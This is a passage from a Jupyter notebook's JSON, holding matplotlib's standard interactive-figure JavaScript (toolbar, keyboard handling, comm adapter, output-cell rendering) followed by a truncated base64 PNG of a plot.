\"shift+\";\n", "\n", " value += 'k';\n", " value += event.which.toString();\n", "\n", " this._key_event_extra(event, name);\n", "\n", " this.send_message(name, {key: value,\n", " guiEvent: simpleKeys(event)});\n", " return false;\n", "}\n", "\n", "mpl.figure.prototype.toolbar_button_onclick = function(name) {\n", " if (name == 'download') {\n", " this.handle_save(this, null);\n", " } else {\n", " this.send_message(\"toolbar_button\", {name: name});\n", " }\n", "};\n", "\n", "mpl.figure.prototype.toolbar_button_onmouseover = function(tooltip) {\n", " this.message.textContent = tooltip;\n", "};\n", "mpl.toolbar_items = [[\"Home\", \"Reset original view\", \"fa fa-home icon-home\", \"home\"], [\"Back\", \"Back to previous view\", \"fa fa-arrow-left icon-arrow-left\", \"back\"], [\"Forward\", \"Forward to next view\", \"fa fa-arrow-right icon-arrow-right\", \"forward\"], [\"\", \"\", \"\", \"\"], [\"Pan\", \"Pan axes with left mouse, zoom with right\", \"fa fa-arrows icon-move\", \"pan\"], [\"Zoom\", \"Zoom to rectangle\", \"fa fa-square-o icon-check-empty\", \"zoom\"], [\"\", \"\", \"\", \"\"], [\"Download\", \"Download plot\", \"fa fa-floppy-o icon-save\", \"download\"]];\n", "\n", "mpl.extensions = [\"eps\", \"pdf\", \"png\", \"ps\", \"raw\", \"svg\"];\n", "\n", "mpl.default_extension = \"png\";var comm_websocket_adapter = function(comm) {\n", " // Create a \"websocket\"-like object which calls the given IPython comm\n", " // object with the appropriate methods. Currently this is a non binary\n", " // socket, so there is still some room for performance tuning.\n", " var ws = {};\n", "\n", " ws.close = function() {\n", " comm.close()\n", " };\n", " ws.send = function(m) {\n", " //console.log('sending', m);\n", " comm.send(m);\n", " };\n", " // Register the callback with on_msg.\n", " comm.on_msg(function(msg) {\n", " //console.log('receiving', msg['content']['data'], msg);\n", " // Pass the mpl event to the overriden (by mpl) onmessage function.\n", " ws.onmessage(msg['content']['data'])\n", " });\n", " return ws;\n", "}\n", "\n", "mpl.mpl_figure_comm = function(comm, msg) {\n", " // This is the function which gets called when the mpl process\n", " // starts-up an IPython Comm through the \"matplotlib\" channel.\n", "\n", " var id = msg.content.data.id;\n", " // Get hold of the div created by the display call when the Comm\n", " // socket was opened in Python.\n", " var element = $(\"#\" + id);\n", " var ws_proxy = comm_websocket_adapter(comm)\n", "\n", " function ondownload(figure, format) {\n", " window.open(figure.imageObj.src);\n", " }\n", "\n", " var fig = new mpl.figure(id, ws_proxy,\n", " ondownload,\n", " element.get(0));\n", "\n", " // Call onopen now - mpl needs it, as it is assuming we've passed it a real\n", " // web socket which is closed, not our websocket->open comm proxy.\n", " ws_proxy.onopen();\n", "\n", " fig.parent_element = element.get(0);\n", " fig.cell_info = mpl.find_output_cell(\"<div id='\" + id + \"'></div>\");\n", " if (!fig.cell_info) {\n", " console.error(\"Failed to find cell for figure\", id, fig);\n", " return;\n", " }\n", "\n", " var output_index = fig.cell_info[2]\n", " var cell = fig.cell_info[0];\n", "\n", "};\n", "\n", "mpl.figure.prototype.handle_close = function(fig, msg) {\n", " fig.root.unbind('remove')\n", "\n", " // Update the output cell to use the data from the current canvas.\n", " fig.push_to_output();\n", " var dataURL = fig.canvas.toDataURL();\n", " // Re-enable the keyboard manager in IPython - without this line, in FF,\n", " // the notebook keyboard shortcuts fail.\n", " IPython.keyboard_manager.enable()\n", " $(fig.parent_element).html('<img src=\"' + dataURL + '\">');\n", " fig.close_ws(fig, msg);\n", "}\n", "\n", "mpl.figure.prototype.close_ws = function(fig, msg){\n", " fig.send_message('closing', msg);\n", " // fig.ws.close()\n", "}\n", "\n", "mpl.figure.prototype.push_to_output = function(remove_interactive) {\n", " // Turn the data on the canvas into data in the output cell.\n", " var dataURL = this.canvas.toDataURL();\n", " this.cell_info[1]['text/html'] = '<img src=\"' + dataURL + '\">';\n", "}\n", "\n", "mpl.figure.prototype.updated_canvas_event = function() {\n", " // Tell IPython that the notebook contents must change.\n", " IPython.notebook.set_dirty(true);\n", " this.send_message(\"ack\", {});\n", " var fig = this;\n", " // Wait a second, then push the new image to the DOM so\n", " // that it is saved nicely (might be nice to debounce this).\n", " setTimeout(function () { fig.push_to_output() }, 1000);\n", "}\n", "\n", "mpl.figure.prototype._init_toolbar = function() {\n", " var fig = this;\n", "\n", " var nav_element = $('<div/>')\n", " nav_element.attr('style', 'width: 100%');\n", " this.root.append(nav_element);\n", "\n", " // Define a callback function for later on.\n", " function toolbar_event(event) {\n", " return fig.toolbar_button_onclick(event['data']);\n", " }\n", " function toolbar_mouse_event(event) {\n", " return fig.toolbar_button_onmouseover(event['data']);\n", " }\n", "\n", " for(var toolbar_ind in mpl.toolbar_items){\n", " var name = mpl.toolbar_items[toolbar_ind][0];\n", " var tooltip = mpl.toolbar_items[toolbar_ind][1];\n", " var image = mpl.toolbar_items[toolbar_ind][2];\n", " var method_name = mpl.toolbar_items[toolbar_ind][3];\n", "\n", " if (!name) { continue; };\n", "\n", " var button = $('<button class=\"btn btn-default\" href=\"#\" title=\"' + name + '\"><i class=\"fa ' + image + ' fa-lg\"></i></button>');\n", " button.click(method_name, toolbar_event);\n", " button.mouseover(tooltip, toolbar_mouse_event);\n", " nav_element.append(button);\n", " }\n", "\n", " // Add the status bar.\n", " var status_bar = $('<span class=\"mpl-message\" style=\"text-align:right; float: right;\"/>');\n", " nav_element.append(status_bar);\n", " this.message = status_bar[0];\n", "\n", " // Add the close button to the window.\n", " var buttongrp = $('<div class=\"btn-group inline pull-right\"></div>');\n", " var button = $('<button class=\"btn btn-mini btn-primary\" href=\"#\" title=\"Stop Interaction\"><i class=\"fa fa-power-off icon-remove icon-large\"></i></button>');\n", " button.click(function (evt) { fig.handle_close(fig, {}); } );\n", " button.mouseover('Stop Interaction', toolbar_mouse_event);\n", " buttongrp.append(button);\n", " var titlebar = this.root.find($('.ui-dialog-titlebar'));\n", " titlebar.prepend(buttongrp);\n", "}\n", "\n", "mpl.figure.prototype._root_extra_style = function(el){\n", " var fig = this\n", " el.on(\"remove\", function(){\n", "\tfig.close_ws(fig, {});\n", " });\n", "}\n", "\n", "mpl.figure.prototype._canvas_extra_style = function(el){\n", " // this is important to make the div 'focusable\n", " el.attr('tabindex', 0)\n", " // reach out to IPython and tell the keyboard manager to turn it's self\n", " // off when our div gets focus\n", "\n", " // location in version 3\n", " if (IPython.notebook.keyboard_manager) {\n", " IPython.notebook.keyboard_manager.register_events(el);\n", " }\n", " else {\n", " // location in version 2\n", " IPython.keyboard_manager.register_events(el);\n", " }\n", "\n", "}\n", "\n", "mpl.figure.prototype._key_event_extra = function(event, name) {\n", " var manager = IPython.notebook.keyboard_manager;\n", " if (!manager)\n", " manager = IPython.keyboard_manager;\n", "\n", " // Check for shift+enter\n", " if (event.shiftKey && event.which == 13) {\n", " this.canvas_div.blur();\n", " event.shiftKey = false;\n", " // Send a \"J\" for go to next cell\n", " event.which = 74;\n", " event.keyCode = 74;\n", " manager.command_mode();\n", " manager.handle_keydown(event);\n", " }\n", "}\n", "\n", "mpl.figure.prototype.handle_save = function(fig, msg) {\n", " fig.ondownload(fig, null);\n", "}\n", "\n", "\n", "mpl.find_output_cell = function(html_output) {\n", " // Return the cell and output element which can be found *uniquely* in the notebook.\n", " // Note - this is a bit hacky, but it is done because the \"notebook_saving.Notebook\"\n", " // IPython event is triggered only after the cells have been serialised, which for\n", " // our purposes (turning an active figure into a static one), is too late.\n", " var cells = IPython.notebook.get_cells();\n", " var ncells = cells.length;\n", " for (var i=0; i<ncells; i++) {\n", " var cell = cells[i];\n", " if (cell.cell_type === 'code'){\n", " for (var j=0; j<cell.output_area.outputs.length; j++) {\n", " var data = cell.output_area.outputs[j];\n", " if (data.data) {\n", " // IPython >= 3 moved mimebundle to data attribute of output\n", " data = data.data;\n", " }\n", " if (data['text/html'] == html_output) {\n", " return [cell, data, j];\n", " }\n", " }\n", " }\n", " }\n", "}\n", "\n", "// Register the function which deals with the matplotlib target/channel.\n", "// The kernel may be null if the page has been refreshed.\n", "if (IPython.notebook.kernel != null) {\n", " IPython.notebook.kernel.comm_manager.register_target('matplotlib', mpl.mpl_figure_comm);\n", "}\n" ], "text/plain": [ "<IPython.core.display.Javascript object>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "<img src=\"data:image/png;base64,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